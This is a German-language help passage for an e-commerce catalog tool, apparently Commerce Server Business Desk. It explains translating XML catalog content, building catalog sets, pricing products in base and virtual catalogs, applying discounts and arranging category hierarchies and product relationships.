Nach Ausführung dieser Schritte kann der Kataloginhalt übersetzt werden. Weitere Informationen dazu finden Sie unter Übersetzen von Kataloginhalt.

Siehe auch

Übersetzen eines Katalogs mit Business Desk

Erstellen eines mehrsprachigen Katalogs

Hinzufügen einer Sprache zu einem Katalog

Importieren einer XML-Katalogdatei

Exportieren eines Katalogs

Exportieren einer CSV-Katalogdatei nach Excel


Übersetzen des Kataloginhalts

Beim Übersetzen des Kataloginhalts (Language=<target>) muss der Übersetzer jeweils die Begriffe für "Value", "displayName" und "PropertyValue" in die andere Sprache übertragen. Die Multiplechoicewerte im Kataloginhalt müssen genauso wie in der Katalogdefinition übersetzt werden.

So erfolgt das Übersetzen des Kataloginhalts

  1. Vergewissern Sie sich, dass es sich bei den zu übersetzenden Produkt- und Kategorieeigenschaften um mehrsprachige Eigenschaftsdefinitionen handelt. Eigenschaften können von Ihrem Siteentwickler mit einem Programm in mehrsprachige Eigenschaften umgewandelt werden.

    Weitere Informationen finden Sie unter Erstellen eines mehrsprachigen Katalogs.

  2. Exportieren Sie die XML-Katalogdatei in die Sprache, aus der sie übersetzt werden soll.
  3. Ändern Sie in der XML-Ausgabedatei die Sprachattribute für <Catalog name> so, dass die Zielsprache eingeschlossen ist.

    Das folgende Katalognamenstag gibt beispielsweise en-US als die Sprache für den Katalog an:

    <Catalog name="Adventure Works Catalog" startDate="2001-02-22"
    endDate="2001-05-22" variantUID="VariantCode"
    productUID="ProductCode" currency="USD" weight_measuring_unit="lbs"
    DateChanged="2001-03-07T15:07:33" DefaultLanguage="en-US"
    ReportingLanguage="en-US" languages="en-US">

    Um die Datei für die Übersetzung ins Deutsche vorzubereiten, fügen Sie dem Sprachattribut den Wert de-DE hinzu (siehe folgendes Beispiel):

    <Catalog name="Adventure Works Catalog" startDate="2001-02-22"
    endDate="2001-05-22" variantUID="VariantCode"
    productUID="ProductCode" currency="USD" weight_measuring_unit="lbs"
    DateChanged="2001-03-07T15:07:33" DefaultLanguage="en-US"
    ReportingLanguage="en-US" languages="en-US,de-DE">

  4. Damit der Übersetzer weiß, was er in den übrigen Katalogdaten übersetzen soll, ersetzen Sie Language="<base>" durch Language="<target>". Diese Änderung nehmen Sie nur für Inhalt vor, der nach dem ersten Tag <Catalog name> auftaucht.

    Wenn Sie beispielsweise englischen Inhalt ins Deutsche übersetzen möchten, ändern Sie language="en-US" in language="de-DE" (siehe folgendes Beispiel):

    Vor der Änderung sieht das Sprachattribut wie folgt aus:

    <DisplayName Value="Adventure Works Catalog" Language="en-US" />
    <Description Value="Catalog Section for Sleeping Bags" Language="en-US" />

    Nach der Änderung sieht das Sprachattribut wie folgt aus:

    <DisplayName Value="Adventure Works Catalog" Language="de-DE" />
    <Description Value="Catalog Section for Sleeping Bags" Language="de-DE" />

  5. Schicken Sie die XML-Katalogdatei an den Übersetzer.
  6. In der XML-Katalogdatei (Language=<target>) muss der Übersetzer das entsprechende Attribut Value in die andere Sprache übertragen.

    Im folgenden Beispiel wird die Kategorie Boots der AdvWorksCatalog.xml-Datei in englischer Sprache angezeigt:

    <Category name="Boots" isSearchable="1" Definition="AdvWorkCatDef"
    Image_height="120" Image_width="120"
    Image_filename="./images/boots.gif"
    id="Item110">
    <Description Value="Catalog Section for Boots" Language="en-US" />
    <DisplayName Value="Boots" Language="en-US" />
    </Category>

    Nach der Übersetzung ins Deutsche sieht dieser Abschnitt wie folgt aus:

    <Category name="Boots" isSearchable="1" Definition="AdvWorkCatDef"
    Image_height="120" Image_width="120"
    Image_filename="./images/boots.gif"
    id="Item110">
    <Description Value="Abschnitt Schuhe des Katalogs"
    Language="de-DE" />
    <DisplayName Value="Schuhe" Language="de-DE" />
    </Category>

  7. Wenn die Übersetzer Ihnen den übersetzten Katalog schicken, überzeugen Sie sich davon, dass der Katalogname (nicht der displayName) unübersetzt ist und der übrige Inhalt vollständig übersetzt wurde. Wenn Sie den übersetzten Katalog importieren, muss der Katalogname mit den vorhandenen Eintragungen in Ihrer Katalogdatenbank übereinstimmen.
  8. Vor dem Import der XML-Katalogdatei muss deren Inhalt geprüft werden. Wählen Sie dazu im Dialogfeld XML-Katalog importieren die Option XML-Datei überprüfen (nicht importieren).
  9. Wenn die Überprüfung der XML-Katalogdatei keine Fehler ergeben hat, importieren Sie die Datei, um den Inhalt der neuen Sprache in die Katalogdatenbank aufzunehmen.

    Wählen Sie im Dialogfeld XML-Katalog importieren nicht die Option Vorhandene Daten im Katalog löschen. Andernfalls werden die Katalogdaten in der Katalogdatenbank gelöscht und nur die zielsprachlichen Entsprechungen gespeichert.

Siehe auch

Übersetzen der Katalogdefinition

Übersetzen eines Katalogs mit Business Desk

Erstellen eines mehrsprachigen Katalogs

Hinzufügen einer Sprache zu einem Katalog

Importieren einer XML-Katalogdatei

Exportieren eines Katalogs

Exportieren einer CSV-Katalogdatei nach Excel


Erstellen eines Katalogsatzes

Katalogsätze dienen dem Erstellen bestimmter Kataloggruppen und müssen einen eindeutigen Namen erhalten. Wenn Sie beispielsweise ein Bonusprogramm für Stammkunden haben und den Mitgliedern dieses Programms Preisnachlässe oder Kaufanreize gewähren, die der sonstige Kundenkreis nicht erhält, können Sie einen Katalogsatz mit den entsprechenden Katalogen erstellen und nur den Mitgliedern des Programms den Zugriff auf diese Kataloge ermöglichen.

Wenn gewisse Produkte unterschiedlichen Katalogen zugeordnet sind, zu denen einige wenige ausgewählte Benutzer Zugriff haben sollen, lässt sich dieser Katalog zum Teil eines Sonderkatalogs machen, auf den nur diese Benutzer zugreifen können.

Beim Erstellen eines Katalogsatzes werden die Kataloge, aus denen die Sätze stammen, nicht geändert.

Hinweis

  • Nachdem Sie nun einen Katalogsatz erstellt haben, müssen Sie festlegen, welche Benutzer Zugriff auf den Katalogsatz haben sollen. Informationen über das Hinzufügen von Benutzern und das Festlegen des Katalogsatzes, auf den sie Zugriff haben sollen, finden Sie unter Hinzufügen eines Benutzerprofils.

So erstellen Sie einen Katalogsatz

  1. Klicken Sie im Menü Kataloge auf Katalogsätze. Klicken Sie dann auf der Symbolleiste auf Hinzufügen.
  2. Führen Sie im Bildschirm Neue Katalogsätze folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen Namen für den Katalogsatz ein.
    Beschreibung | Geben Sie eine Beschreibung für den Katalogsatz ein.
    Alle Kataloge hinzufügen | Aktivieren Sie dieses Kontrollkästchen, damit dieser Katalogsatz alle Kataloge repräsentiert, selbst wenn neue Kataloge hinzugefügt werden. Dieses Kontrollkästchen darf nicht aktiviert werden, wenn für diesen Katalogsatz Einzelkataloge angegeben werden sollen.
    Verfügbare Kataloge Markieren Sie einzelne Kataloge, die zu diesem Katalogsatz hinzugefügt werden sollen, und klicken Sie dann auf Hinzufügen.

    Die von Ihnen gewählten Kataloge werden vom Feld Verfügbare Kataloge in das Feld Zugewiesene Kataloge verschoben.
    Zugewiesene Kataloge | Zeigt die Kataloge an, die zum entsprechenden Katalogsatz hinzugefügt worden sind. Wenn Sie einen Katalog aus dem Feld Zugewiesene Kataloge entfernen, wird er automatisch in das Feld Verfügbare Kataloge verschoben.
  3. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Katalogsatz zu speichern und zum Bildschirm Katalogsätze zurückzukehren.
  4. Klicken Sie zum Veröffentlichen des neuen Katalogsatzes im Modul Katalog-Editor auf der Symbolleiste auf Katalog veröffentlichen.

    Der Katalogsatz wird in Ihrer Website veröffentlicht.

  5. Geben Sie an, welche Benutzer Zugriff auf den Katalogsatz haben sollen. Informationen über das Hinzufügen von Benutzern und das Festlegen des Katalogsatzes, auf den sie Zugriff haben sollen, finden Sie unter Hinzufügen eines Benutzerprofils.

Siehe auch

Informationen zu Katalogen

Ändern eines Katalogsatzes

Löschen eines Katalogsatzes


Preisberechnung für ein Produkt in einem Basiskatalog

Die Preise von Produkten werden beim Erstellen der Produkteigenschaften festgelegt. Sie können jedoch stets die Preise Ihrer Produkte ändern, wenn Sie eine Benachrichtigung über eine Preisänderung erhalten. Beispiel: Wenn der Preis einer schwarzen Lederjacke von 399 Euro auf 429 Euro steigt, können Sie diese Änderung in den Produkteigenschaften vornehmen.

Die Vorgehensweise für das Angeben der Preise in virtuellen Katalogen unterscheidet sich beträchtlich von der für Basiskataloge. Eine entsprechende Anleitung finden Sie unter Preisberechnung für ein Produkt in einem virtuellen Katalog.

Hinweis

  • Wenn der Preis eines Produktes für eine bestimmte Zeitdauer oder für eine ausgewählte Gruppe von Benutzern geändert werden soll, können Sie eine Preisnachlasskampagne erstellen. Weitere Informationen dazu finden Sie unter Erstellen eines Preisnachlasses.

So geben Sie den Preis eines Produkts in einem Basiskatalog an

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog mit dem Produkt aus, dessen Preis Sie festlegen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Suchen Sie im Bildschirm Kataloginhalt – Katalogname (Produkt) im Bereich Produkte das Produkt, für das Sie den Preis festlegen möchten. Zum Auflisten aller Produkte klicken Sie auf Alle suchen.
  4. Wählen Sie im Bereich Produkte das Produkt aus, für das Sie einen Preis festlegen möchten, und klicken Sie dann auf Bearbeiten.
  5. Geben Sie im Bildschirm Katalog-Editor – Katalogname – Produktname im Feld Standardpreis den Preis für das Produkt ein.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um zum Bildschirm Kataloginhalt – Katalogname (Produkt) zurückzukehren.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um zum Bildschirm Kataloge zurückzukehren.
  8. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Preis in die Website zu laden.

Der aktualisierte Katalog wird in Ihrer Website veröffentlicht.


Preisberechnung für ein Produkt in einem virtuellen Katalog

Nachdem Sie Produkte und Kategorien aus einem Basiskatalog in einen virtuellen Katalog aufgenommen und diesen virtuellen Katalog dann neu erstellt haben, können Sie die Preise für die Produkte festlegen. Zum Festlegen des Preises eines Produkts in einem virtuellen Katalog wenden Sie eine Preisregel an.

Hinweise

  • Nach dem Neuerstellen des virtuellen Katalogs sind die Kategorien und Produkte in den zugehörigen Basiskatalogen verfügbar, sodass die Preisregeln angewendet werden können. Nach der Eingabe von Werten im Bereich Einschließen/Ausschließen klicken Sie auf Speichern und zurück. Dann klicken Sie im Bildschirm Kataloge auf der Symbolleiste auf Neu erstellen.
  • Ein virtueller Katalog kann bis zu 10.000 Preisregeln unterstützen.

So legen Sie den Preis eines Produkts in einem virtuellen Katalog fest

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den virtuellen Katalog mit dem Produkt aus, dessen Preis Sie festlegen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Klicken Sie im Bildschirm Kataloginhalt – Katalogname (Produkt) im Bereich Preisregeln auf Neu, und führen Sie die folgenden Schritte aus:
    Funktion | Aktion
    Artikel | Klicken Sie auf die Auslassungsschaltfläche […], um das Dialogfeld Produktauswahl zu öffnen. Markieren Sie die Kategorien oder Produkte, denen Sie die Preisregel zuweisen möchten, und klicken Sie dann auf OK.
    Typ Wählen Sie in der Dropdownliste eine der folgenden Optionen:
    • Preis festlegen zum Angeben des Preises für den Artikel.
    • Hinzufügen zum Angeben des Betrags, der dem Grundpreis des Artikels hinzuzufügen ist.
    • Prozentsatz hinzufügen zum Angeben des Prozentsatzes, der dem Grundpreis für den Artikel hinzuzufügen ist.
    • Preisnachlass zum Angeben des Betrags, der vom Grundpreis für den Artikel abzuziehen ist.
    • Prozentualer Preisnachlass zum Angeben des Prozentsatzes, der vom Grundpreis für den Artikel abzuziehen ist.
    Betrag | Geben Sie den Betrag an, der den Preis bilden soll, bzw. den Betrag, um den der Preis aus dem Basiskatalog geändert werden soll.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um zum Bildschirm Kataloge zurückzukehren.
  5. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Preis in die Website zu laden.

Der aktualisierte Katalog wird in Ihrer Website veröffentlicht.

Siehe auch

Preisberechnung auf Produktvariantenebene

Preisberechnung von Produkten in einer Kategorie

Preisberechnung von Produkten in mehreren Währungen

Preisnachlässe für Produkte in einem virtuellen Katalog

Erstellen eines Preisnachlasses


Preisfestsetzung auf Produktvariantenebene

Für jede Produktvariante einer Produktfamilie können unterschiedliche Preise festgelegt werden. Sie können Variantenpreise nach dem Festlegen noch bearbeiten, um auf Verkaufstrends zu reagieren.

Beispiel: Sie führen eine Produktfamilie "Jacken", die die Produktvarianten "braune Jacken" und "schwarze Jacken" enthält. Sie führen einen Bericht aus, um die Verkäufe zu analysieren, und stellen fest, dass sich die schwarzen Jacken besser als die braunen Jacken verkaufen. Sie können diese Information dahingehend verwenden, dass Sie den Preis für braune Jacken auf Variantenebene ermäßigen, um ihre Verkaufszahlen zu erhöhen. Der Preis der schwarzen Jacken bleibt gleich.

So weisen Sie eine Preisberechnung auf Variantenebene zu

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog mit der Produktvariante aus, deren Preis Sie festlegen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Suchen Sie im Bildschirm Kataloginhalt – Katalogname (Produkt) im Bereich Produkte die gewünschte Produktfamilie. Zum Auflisten aller Produkte klicken Sie auf Alle suchen.
  4. Wählen Sie im Bereich Produkte die gewünschte Produktfamilie, und klicken Sie dann auf Bearbeiten.
  5. Wählen Sie im Bereich Produktvarianten die Produktvariante, deren Preis Sie festlegen möchten.
  6. Geben Sie im Feld Variantenpreis den Preis ein, und klicken Sie anschließend auf Fertig.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um zum Bildschirm Kataloge zurückzukehren.
  8. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Katalog-Editor zurückzukehren.
  9. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Preis in die Website zu laden.

Der aktualisierte Katalog wird in Ihrer Website veröffentlicht.

Siehe auch

Preisberechnung für ein Produkt in einem Basiskatalog

Preisberechnung von Produkten in einer Kategorie

Preisberechnung von Produkten in mehreren Währungen

Preisnachlässe für Produkte in einem virtuellen Katalog

Erstellen eines Preisnachlasses


Preisberechnung für Produkte in einer Kategorie

Für alle Produkte einer Kategorie kann ein einziger Preis festgelegt werden. Dies ist z. B. praktisch, wenn eine Gruppe von Produkten im gleichen Preisbereich angesiedelt ist. Sie können diesen Umstand nutzen, um den Preis für die ganze Produktgruppe zentral zu ändern, statt jeden Produktpreis einzeln zu ändern.

Jede Kategorie und jedes Produkt kann über eine primäre übergeordnete Kategorie verfügen. Diese primäre übergeordnete Kategorie liefert einen kanonischen Pfad zu einer untergeordneten Kategorie bzw. einem Produkt. Wenn ein Produkt mehreren Kategorien angehört und der Preis auf Kategorieebene festgelegt wird, setzt der Preis der primären übergeordneten Kategorie den Preis aller anderen Kategorien außer Kraft.

Hinweis

  • Das Zuweisen eines Preises auf Kategorieebene ersetzt die Preise aller Produkte und Produktvarianten in dieser Kategorie.

So weisen Sie einer Produktgruppe einen einzelnen Preis zu

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog mit dem Produkt aus, dessen Preis Sie festlegen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Kategorien die Kategorie aus, für die Sie den Preis berechnen möchten, und klicken Sie anschließend auf Bearbeiten.
  4. Geben Sie im Bildschirm Katalog-Editor – Katalogname – Kategoriename im Bereich Kategorieeigenschaften im Feld Preis den Preis für die Produktgruppe ein.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen an der Kategorie zu speichern und zum Bildschirm Katalog – Katalogname zurückzukehren.
  6. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Kataloge zurückzukehren.
  7. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den neuen Preis in der Website anzuzeigen.

Der aktualisierte Katalog wird in Ihrer Website veröffentlicht.

Siehe auch

Preisberechnung von Produkten in einem Basiskatalog

Preisberechnung von Produkten in mehreren Währungen

Preisnachlässe für Produkte in einem virtuellen Katalog

Erstellen eines Preisnachlasses


Preisberechnung von Produkten in mehreren Währungen

Produktpreise können in mehreren Währungen gespeichert werden. Diese Währungen lassen sich dann auch in Ihrer Website anzeigen. Die Preise könnten beispielsweise in Euro und US-Dollar angezeigt werden.

Im Folgenden finden Sie eine Übersicht über die Schritte, die Sie für das Angeben von Preisen in mehreren Währungen ausführen müssen:

  1. Erstellen Sie einen Basiskatalog, in dem die Produktpreise in der Basiswährung angegeben sind.
  2. Erstellen Sie für jede zusätzliche Währung, die in der Site angezeigt werden soll, einen virtuellen Katalog.
  3. Geben Sie für alle Produkte, Kategorien und Kataloge, die Sie in den virtuellen Katalog aufgenommen haben, die gewünschte Preisregel an.

Mit Preisregeln definieren Sie den Umrechnungskurs (prozentual) oder die Differenz zwischen dem Preis des Artikels im Basiskatalog (und der Basiswährung) und dem Preis des Artikels in der anderen Währung.

Wenn Sie Preisregeln festlegen, speichert Commerce Server die Produktpreise in einer Währung und berechnet gegebenenfalls dynamisch die Preise in anderen Währungen. Durch die Preisregel wird der Preis im Basiskatalog anhand des Umrechnungskurses angepasst. Der Preis wird nach dem Veröffentlichen des virtuellen Katalogs berechnet.

Hinweis

  • Preisregeln auf der Produktvariantenebene werden in virtuellen Katalogen unterstützt.

So geben Sie Produktpreise in mehreren Währungen an

  1. Erstellen Sie einen Basiskatalog, in dem die Produktpreise in der Basiswährung angegeben sind. Anweisungen hierzu finden Sie unter Erstellen eines Basiskatalogs.
  2. Nehmen Sie einen oder mehrere Basiskataloge in den virtuellen Katalog auf. Anweisungen dazu finden Sie unter Aufnehmen von Basiskatalogen in einen virtuellen Katalog.
  3. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  4. Wählen Sie im Bildschirm Kataloge den virtuellen Katalog aus, mit dem Sie arbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  5. Klicken Sie im Bildschirm Kataloginhalt – Virtueller Katalog im Bereich Regeln auf Neu.

Klicken Sie im Feld Artikel auf die Auslassungsschaltfläche [...].

  1. Wählen Sie im Dialogfeld Produktauswahl die Kategorie oder das Produkt, für die/das die Regel gelten soll, und klicken Sie dann auf OK.

    Hinweis

    • Produktnamen mit mehr als 30 Zeichen Länge werden im Dialogfeld Produktauswahl von Commerce Server gekürzt. Wenn Sie mehrere Produkte haben, bei denen die ersten 30 Zeichen identisch sind, werden diese als Duplikate angezeigt.
  2. Nehmen Sie im Feld Typ folgende Auswahl vor:
    Typ | Beschreibung
    Preis festlegen | Gibt den Preis des Artikels an.
    Hinzufügen | Gibt den Betrag an, der dem Grundpreis des Artikels hinzugefügt werden soll.
    Prozentsatz hinzufügen | Gibt den Prozentsatz an, der dem Grundpreis des Artikels hinzugefügt werden soll.
    Preisnachlass | Gibt den Betrag an, der vom Grundpreis des Artikels abgezogen werden soll.
    Prozentualer Preisnachlass | Gibt den Prozentsatz an, der vom Grundpreis des Artikels abgezogen werden soll.
  3. Geben Sie im Feld Betrag den Betrag an, der den Preis bzw. den Betrag bilden soll, um den der Preis aus dem Basiskatalog geändert werden soll.
  4. Zum Speichern der Preisregel klicken Sie auf Fertig.
  5. Wiederholen Sie diesen Vorgang für alle weiteren gewünschten Kategorien und Produkte.

Siehe auch

Aufnehmen von Basiskatalogen in einen virtuellen Katalog

Hinzufügen von Kategorien zu einem virtuellen Katalog

Preisberechnung auf Produktvariantenebene

Preisberechnung von Produkten in einem Basiskatalog

Preisberechnung von Produkten in einer Kategorie

Preisnachlässe für Produkte in einem virtuellen Katalog

Erstellen eines Preisnachlasses


Preisnachlässe für Produkte in einem virtuellen Katalog

Es gibt zwei Möglichkeiten für das Gewähren von Preisnachlässen auf Produktpreise:

  • Erstellen einer Preisnachlasskampagne. Hier sind einige Beispiele für Preisnachlasskampagnen, die nur in folgenden Situationen gültig werden:
    • Produktpreis ist größer als 20,00 Euro. Dies ist ein Preisnachlass-Bedingungsausdruck. Preisnachlass-Bedingungsausdrücke basieren auf einer Produkteigenschaft.
    • Benutzer kauft 2. Dieser Ausdruck ist Bestandteil einer erforderlichen Bedingung für einen Preisnachlass.
    • Benutzer klickt auf eine Preisnachlassanzeige auf der Sportseite. Dies ist der "Klick erforderlich"-Teil eines Preisnachlasses.

    Informationen über das Erstellen einer Preisnachlasskampagne finden Sie unter Erstellen eines Preisnachlasses.

  • Erstellen eines virtuellen Katalogs und anschließendes Anwenden einer Preisregel. Dieses Verfahren wird in diesem Thema beschrieben.

Wenn Sie einen virtuellen Katalog erstellen, können Sie Preisnachlässe auf einzelne Produkte oder auf alle Produkte einer Kategorie anwenden. Wahlweise können Sie auch einen Ausdruck erstellen, von dem Preisnachlässe auf Produkte mit bestimmten Merkmalen angewendet werden.

Hinweis

  • Preisregeln auf der Produktvariantenebene werden in virtuellen Katalogen unterstützt.

So erstellen Sie einen virtuellen Katalog und wenden Preisnachlassregeln an

  1. Erstellen Sie einen virtuellen Katalog. Eine entsprechende Anleitung finden Sie unter Erstellen eines virtuellen Katalogs.
  2. Nehmen Sie einen oder mehrere Basiskataloge in den virtuellen Katalog auf. Anweisungen dazu finden Sie unter Aufnehmen von Basiskatalogen in einen virtuellen Katalog.
  3. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  4. Wählen Sie im Bildschirm Kataloge den virtuellen Katalog aus, mit dem Sie arbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  5. Klicken Sie im Bildschirm Kataloginhalt – Virtueller Katalog im Bereich Regeln auf Neu.

Klicken Sie im Feld Artikel auf die Auslassungsschaltfläche [...].

  1. Wählen Sie im Dialogfeld Produktauswahl die Kategorie oder das Produkt, für die/das die Regel gelten soll, und klicken Sie dann auf OK.

Hinweis

  • Produktnamen mit mehr als 30 Zeichen Länge werden im Dialogfeld Produktauswahl von Commerce Server gekürzt. Wenn Sie mehrere Produkte haben, bei denen die ersten 30 Zeichen identisch sind, werden diese als Duplikate angezeigt.
  1. Wählen Sie im Feld Typ die Option Preisnachlass oder Prozentualer Preisnachlass.
  2. Geben Sie im Feld Betrag den vom Grundpreis für den Artikel abzuziehenden Betrag an.
  3. Zum Speichern der Preisregel klicken Sie auf Fertig.
  4. Wiederholen Sie diesen Vorgang für alle gewünschten Kategorien und Produkte.

Siehe auch

Erstellen eines Preisnachlasses

Aufnehmen von Basiskatalogen in einen virtuellen Katalog

Hinzufügen von Kategorien zu einem virtuellen Katalog

Preisberechnung auf Produktvariantenebene

Preisberechnung von Produkten in einem Basiskatalog

Preisberechnung von Produkten in einer Kategorie

Preisnachlasskonzepte


Erstellen von Kategoriehierarchien

Verwenden Sie das Katalog-Editor-Modul, um Kategoriehierarchien zu erstellen. Durch die Erstellung von Kategoriehierarchien können Sie die Produkte im Katalog besser anordnen und Benutzern die Navigation in Ihrer Website erleichtern.

Sie können eine Kategorie erstellen, die über übergeordnete Kategorien und/oder untergeordnete Kategorien verfügt.

Die Kategorie "CDs" könnte beispielsweise die untergeordneten Kategorien "Rock", "Rhythm and Blues" und "Klassik" haben. Die untergeordneten Kategorien können ihrerseits wiederum untergeordnete Kategorien enthalten. So kann die Kategorie "Rock" z. B. die untergeordnete Kategorie "Pop und Anderes" enthalten.

Jede Kategorie und jedes Produkt kann über eine primäre übergeordnete Kategorie verfügen. Diese primäre übergeordnete Kategorie liefert einen kanonischen Pfad zu einer untergeordneten Kategorie bzw. einem Produkt. Wenn ein Produkt mehreren Kategorien angehört und der Preis auf Kategorieebene festgelegt wird, setzt ferner der Preis der primären übergeordneten Kategorie den aller anderen Kategorien, für die der Preis auf Kategorieebene festgesetzt wird, außer Kraft.

Hinweis

  • Kategorien können fünf Ebenen tief verschachtelt sein.

So weisen Sie übergeordnete und untergeordnete Kategorien zu

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog mit den Kategorien aus, denen Sie über- oder untergeordnete Kategorien zuweisen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Kategorien die Kategorie aus, der Sie über- oder untergeordnete Kategorien zuweisen möchten, und klicken Sie anschließend auf Bearbeiten.
  4. Wählen Sie im Bereich Zugewiesene Kategorien die Kategorie aus, die Sie als die primäre übergeordnete Kategorie zuweisen möchten, und klicken Sie dann auf Festlegen.
  5. Wählen Sie im Dialogfeld Verfügbare untergeordnete Kategorien die gewünschte Kategorie, und klicken Sie dann auf Hinzufügen.

    Die Kategorie wird aus der Liste im Feld Verfügbare untergeordnete Kategorien in die Liste im Feld Zugewiesene untergeordnete Kategorien verschoben.

  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Zuweisung der über- und untergeordneten Kategorien zu speichern und zum Bildschirm Kataloge zurückzukehren.
  7. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog zu veröffentlichen.

Der aktualisierte Katalog wird in Ihrer Website veröffentlicht.

Siehe auch

Informationen zu Katalogen

Erstellen von Kategorie- und Produktbeziehungen


Erstellen von Kategorie- und Produktbeziehungen

Sie können Produkt-zu-Kategorie-Beziehungen und Kategorie-zu-Produkt-Beziehungen erstellen. Diese Beziehungen können für Produkte und Kategorien in demselben Katalog oder in unterschiedlichen Katalogen etabliert werden. Mit einer Produkt-zu-Produkt-Beziehung kann z. B. einem Benutzer, der einen Film kauft, der zugehörige Soundtrack angeboten werden. Hierbei handelt es sich um eine explizite Beziehung.

In einer Kategorie-zu-Kategorie-Beziehung können Sie Beziehungen zwischen Kategorien herstellen. Beispiel: Sie haben Kategorien für CDs und Biographien. Wenn Sie CDs mit klassischer Musik haben, verfügen Sie möglicherweise auch über Biographien von klassischen Komponisten.

Die einzelnen Schritte für die Erstellung einer Produktfamilienbeziehung sind dieselben wie bei der Erstellung einer Produktbeziehung. Eine Produktfamilienbeziehung wird jedoch für Produkte mit Varianten erstellt.

Hinweis

  • Commerce Server-Lösungssites zeigen Beziehungen nicht an. Wenn Ihr Siteentwickler zur Erstellung Ihrer Site eine Lösungssite verwendet hat, können Sie möglicherweise keine Kategorie- und Produktbeziehungen erstellen. Informationen über das Anzeigen von Beziehungen in der Website erhalten Sie von Ihrem Siteentwickler.

So erstellen Sie eine Kategoriebeziehung

So erstellen Sie eine Produktbeziehung

So erstellen Sie eine Kategoriebeziehung

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, in dem Sie eine Beziehung erstellen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Kataloginhalt – Katalogname im Bereich Kategorien die Kategorie aus, zu der Sie eine Beziehung hinzufügen möchten, und klicken Sie anschließend auf Bearbeiten.
  4. Klicken Sie im Bildschirm Katalog-Editor – Katalogname (Kategorie) im Bereich Kategoriebeziehungen auf Neu, und führen Sie die folgenden Schritte durch:
    Funktion | Aktion
    Beziehung | Geben Sie den Beziehungsnamen ein.
    Artikel | Klicken Sie auf die Auslassungsschaltfläche […], um das Dialogfeld Produktauswahl zu öffnen.
  5. Wählen Sie im Dialogfeld Produktauswahl den Katalog mit der Kategorie, mit der Sie arbeiten möchten.
  6. Wählen Sie in der Liste Kategorien die Kategorie aus, zu der Sie eine Beziehung erstellen möchten, und klicken Sie dann auf OK.

    Die ausgewählte Kategorie wird im Feld Artikel des Bereichs Kategoriebeziehungen angezeigt.

  7. Klicken Sie auf Annehmen, um die Kategoriebeziehung zu speichern.
  8. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Kataloge zurückzukehren.

So erstellen Sie eine Produktbeziehung

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog mit dem Produkt aus, für das Sie eine Beziehung erstellen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Kataloginhalt – Katalogname im Bereich Produkte das Produkt aus, zu dem Sie eine Beziehung hinzufügen möchten, und klicken Sie anschließend auf Bearbeiten.
  4. Führen Sie im Bildschirm Katalog-Editor – Katalogname (Produkt) im Bereich Produktbeziehungen die folgenden Schritte durch:
    Funktion | Aktion
    Beziehung | Geben Sie den Beziehungsnamen ein.
    Artikel | Klicken Sie auf die Auslassungsschaltfläche […], um das Dialogfeld Produktauswahl zu öffnen.
  5. Wählen Sie im Dialogfeld Produktauswahl den Katalog mit dem Produkt aus, mit dem Sie arbeiten möchten.
  6. Wählen Sie in der Liste Kategorien eine Kategorie und dann in der Liste Produkte in Kategorie ein Produkt aus. Klicken Sie anschließend auf OK.

    Die ausgewählte Kategorie wird im Feld Artikel des Bereichs Produktbeziehungen angezeigt. Im Feld Artikeltyp wird Produkt angezeigt. Dies weist darauf hin, dass es sich um einen Produktbeziehung handelt.

  7. Klicken Sie auf Annehmen, um die Produktbeziehung zu speichern.
  8. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Katalog-Editor – Katalogname zurückzukehren.


Aktualisieren und Veröffentlichen eines Katalogs

